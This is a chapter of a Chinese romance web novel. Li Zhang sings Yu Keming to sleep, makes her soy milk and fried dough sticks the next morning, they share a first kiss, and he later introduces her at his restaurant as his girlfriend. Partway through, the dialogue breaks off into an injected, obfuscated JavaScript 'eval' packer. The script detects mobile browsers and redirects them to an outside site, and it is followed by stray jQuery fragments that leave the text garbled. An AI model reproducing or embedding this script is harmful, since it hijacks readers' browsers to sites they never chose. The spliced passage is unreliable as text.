余可芒躺在床上，辗转难眠。


    鼻间盈满了水果的清香味，视线在房间内来回扫视，终于在角落里，看到了瓷碟里放置的佛手柑。金黄色的爪牙，在灯光下熠熠生辉。


    一小时前，她从书房出来，看到穿着浅灰色家居服的黎樟，许是刚洗过澡，半湿半干的头发，贴在额头上，发梢有水珠滴落。


    她从未靠近过这种时刻的黎樟，隐秘的悸动持续了很久。


    终于，她放弃入眠。


    从枕头下掏出手机，给黎樟发消息：睡不着。


    黎樟似乎也没睡着，秒回：认床？


    余可芒：从来没有过。


    余可芒：我觉得是因为某人。


    黎樟：那某人可以哄女朋友睡觉吗？


    余可芒：准了。


    下一秒，手机屏幕跳出黎樟发来的语音通话申请。


    余可芒抱着手机在床上滚了一圈，清了清嗓子，接通语音通话：“哈喽男朋友。”


    “你好，女朋友。”


    话音落下，两人纷纷被对方幼稚的语气逗笑，在手机两端笑成一团。良久以后，才渐渐平静下来。


    黎樟回归正题：“想让我怎么哄睡，唱歌还是讲故事？”


    “都想。”余可芒知道他不会拒绝自己，便说，“先讲故事吧。”


    黎樟思索片刻，开始讲述他和大学同学组建乐队的故事。


    大一那年，他突然对乐队产生兴趣，便号召几个兴趣相投的同学，组建了一支乐队。从刚开始的半吊子，到后来参加校园歌手大赛，再到去酒吧驻场，靠自己赚学费，最后在互联网上成为了小有名气的乐队。


    他的嗓音在夜晚，显得愈发性感，讲述乐队成员之间的趣事，从不提及乐队解散的不愉快。


    “章绮受你影响吗？”


    “没有，她从小就喜欢唱歌。”他笑了笑说，“我外婆唱歌也很好听，我妈一直觉得我们家有音乐细胞。”


    故事讲完，黎樟问：“想听什么歌？”


    余可芒不假思索：“豆浆油条。”


    黎樟微怔，以为她想吃豆浆油条，下一瞬反应过来，原来她想听这首歌。


    他用平板播放了豆浆油条的前奏，扫了一眼歌词，脑海中关于这首歌的旋律逐渐清晰，他放下平板，开始唱歌：


    喝纯白的豆浆是纯白的浪漫


    望着你可爱脸庞和你纯真的模样


    我傻傻对你笑是你忧愁解药


    你说我就像油条很简单却很美好


    我知道你和我就像是豆浆油条


    要一起吃下去味道才会是最好①


    黎樟的嗓音比原唱更厚重一些，颇有种娓娓道来的安心感，余可芒在歌声中，愈发困倦起来。


    一墙之隔的房间内。


    黎樟靠在床头，唇角微扬，耳边响起轻微的有规律的呼吸声。


    “想吃豆浆油条。”


    一声呓语闯进耳朵，脸上的笑容愈发明显。


    翌日上午。


    余可芒从睡梦中醒来，环视一圈陌生的环境，后知后觉自己在黎樟家里。她拿起手机看了眼时间，已经上午十点半了。


    正欲放下手机，收到了闻杉的消息：坏芒果，你昨晚没回家！


    余可芒：我回家了。


    只不过又出去了而已。


    闻杉：别以为我不知道，你现在在黎老板家里！


    闻杉：昨晚感觉怎么样？


    余可芒：哎呀。


    闻杉难得看到她这么羞涩的表达，本想深挖下去，想了想回：先饶了你，回家再说。


    余可芒跟闻杉聊完，将被子叠好，穿着章绮的睡衣磨磨蹭蹭地走出房间。


    黎樟穿着围裙，正在开放厨房忙碌：“洗漱完，来吃早餐。”


    余可芒期待极了，匆匆洗漱完便在高脚凳上坐好，黎樟端来一杯温度适宜的豆浆，碟子里放着金黄酥脆的油条。


    豆浆油条。


    脑海中突然蹦出昨晚黎樟唱歌的场景，这首歌还没听完，她便进入梦乡。


    她明知故问：“怎么想起来吃豆浆油条。”


    “可能昨晚那首歌，把某人的馋虫勾出来了。”


    “嗯？有吗？”她怎么不记得自己说过想吃豆浆油条。


    黎樟莞尔：“快吃吧。”


    豆浆和油条都是黎樟亲手做的，豆浆香味浓郁，甜度刚刚好，油条炸得酥脆，一点不油腻。她空口吃了半根油条，便将剩下的油条蘸着豆浆吃下去。


    油条裹着豆浆，甜咸搭配，不油不腻，味道正好。


    黎樟难得食欲不错，喝了小碗豆浆，吃了一整根油条。


    此刻将近十一点。


    余可芒想到上个月打卡的一家brunch餐厅，提议道：“下周末，我们去吃早午餐吧。”


    “好。”


    终于不用担心邀约会被黎樟拒绝，她脑海中蹦出无数家想要打卡的餐厅，还想把吃过的，觉得味道不错的餐厅介绍给黎樟。她一口气说了许多餐厅，正准备挑一家，晚上去打卡时，黎樟说：“晚上去有樟，可以吗？”


    “好。”她欣然应允。


    将剩下的豆浆喝完，黎樟准备收拾碗筷，目光扫到余可芒唇角遗留的一滴豆浆，他抽了一张纸巾，伸手擦去豆浆。


    余可芒瞪大双眼看着黎樟的动作，整个人紧张得一动不敢动。


    昨晚紧张是因为他们还没在一起。


    现在手也牵了，抱也抱了，竟然还是没出息的紧张。


    她任由黎樟动作，温热的指尖不小心触到唇边的肌肤时，她突然有些难耐，下意识地伸出舌头，想舔舔唇瓣，谁知，舌尖竟然碰到了黎樟的指尖。


    两人同时顿住，目光短暂相触，又迅速挪开。黎樟手往回收的瞬间，她不知从何处积攒的勇气，一把扣住他的手臂：“擦干净了吗？”


    不等他回答，又说：“感觉还有点，再擦擦吧……”


    她的声音越来越小，说到最后几乎在用气声说话。


    黎樟看着被钳制的手臂，印花纸巾在两人之间舞动，他捏紧纸巾，向前探去，余可芒以为要继续擦，脸往前送了送。


    预料之中的擦拭没有到来，纤长的手指越过脸颊停留在后脑勺，不假思索地扣住她的头部，将她往前带了带。


    怔愣的瞬间，一股熟悉的果香夹杂着豆浆的浓香扑面而来，轻柔的吻落在唇瓣。


    黎樟唇上的动作化身引燃器，稍微动一下，余可芒的脑海中便炸开烟花，直冲云天，璀璨夺目。


    她呆呆地感受着，温热的唇瓣笨拙地舔舐。一下又一下，挠在她的心上。愣了片刻，她才遵循本能，衔住黎樟的唇瓣，辗转碾磨，不知疲倦。


    不知是谁先松开唇瓣，亦或者两人同时松开的，他们用最真挚最毫不掩饰的视线看着彼此，胸腔的剧烈跳动，诉说着这段突如其来，惊心动魄的初吻。


    -


    余可芒回到家，已经下午一点。


    闻杉坐在沙发上，电视机正播放着两人都喜欢的吃播。


    防盗门打开的瞬间，她起身直奔余可芒，将她一把拉到沙发上，双手撑着腰，大有严刑拷问的架势。


    “亲了吗？”


    “睡了吗？”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107974|163978||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “黎老板身材看着不错，那方面怎么样？”


    闻杉的嘴就跟连珠炮似的，接连问了几个问题。每个问题都让余可芒的脸，一红一红再一红。


    闻杉急道：“你快回答我。”


    余可芒被好友急迫的情绪击倒，老老实实回答：“没睡，没体验过不知道。”


    闻杉显然有些失望：“我还以为你们睡了呢。”


    “我睡的章绮的床。”


    “靠——”


    “章绮搬家怎么不把床搬走！”


    余可芒看着好友扼腕叹息的模样，噗嗤笑出声来：“亲了。”


    闻杉拿起茶几上的小零食，给她怀里塞了袋她最爱的土豆条：“从实招来。”


    她回想着充满躁动、心悸又浪漫的初吻，心脏不由得加速跳动起来。


    闻杉跟初恋接吻的那晚，回到宿舍便拉着她去阳台吹风，寒冬腊月的晚风，将她吹得瑟瑟发抖。闻杉跟吃了兴奋药似的，完全察觉不到冷，脸上泛着红晕，跟她讲细节。


    她曾经嗤之以鼻，现在也深刻体会到其中的美妙。


    她讲完，闻杉发出一声叹息：“我要把余浩然揍一顿。”


    闻杉跟余浩然的初吻并不美妙，听到余可芒的描述，不免艳羡。


    “没想到，平时看起来冷冷淡淡的黎老板，也有这么热情似火的时刻。”闻杉冲她眨眨眼，“期待你们的下一步哟。”


    余可芒：“……”


    两人聊完天，她打算回房间补觉，闻杉约她晚上去探店，她摆摆手拒绝，说晚上要去「有樟」。


    闻杉撇嘴：“刚恋爱的小情侣，真黏人。”


    余可芒睡了个长长的午觉，在傍晚醒来，第一时间打开微信，看到黎樟发来的消息。


    黎樟：几点过来？


    黎樟：还在睡？


    黎樟：小睡猫。


    余可芒发现自己在黎樟口中，有很多昵称，两人在一起不到24小时，他已经叫过她小馋猫、小睡猫和大芒果了。


    回复完黎樟的消息，她起床洗漱，画上淡妆，穿着一件毛绒外套出发去「有樟」。


    正是「有樟」忙碌的时刻，等候区已经坐满顾客。


    一走进店里，便看到李露和一个服务员冲着门口张望，见她进来，李露热情地打招呼，视线仍旧在门口。


    “你们在看什么？”


    两人异口同声：“老板娘。”


    “老板娘？”


    另一个服务员解释道：“老板中午说，他的女朋友晚上要来店里。可芒姐，你是没有看到，我们老板可高兴了，小井当面跟他争执，他都没有生气。”


    李露冲着服务员挤眉弄眼，想让她闭嘴。


    店里员工都知道，余可芒喜欢老板，他们原本以为老板也喜欢她，没想到两人非但没成，还有老死不相往来的架势。她已经小半月没来店里，好不容易来了，就听说老板谈恋爱的话，不知得多伤心。


    服务员接收到李露的信号，立刻噤声。


    小井端着一盘肉送到大厅后，便摸鱼跑到门口。


    “怎么样怎么样，老板娘来了吗？”


    他一脸八卦，看向站在门口的李露，走进了才看到被两人包围的余可芒。


    “可芒姐，你总算来了。我就说吧，今天有贵客到店。”


    余可芒戳穿：“你来看老板娘的吧。”


    “……”小井嘿嘿笑道，看着余可芒的笑容，他恍然大悟：“老板娘是你！”


    余可芒还未回答，黎樟从后厨的方向走过来，牵起她的手，说：


    “当然是她。”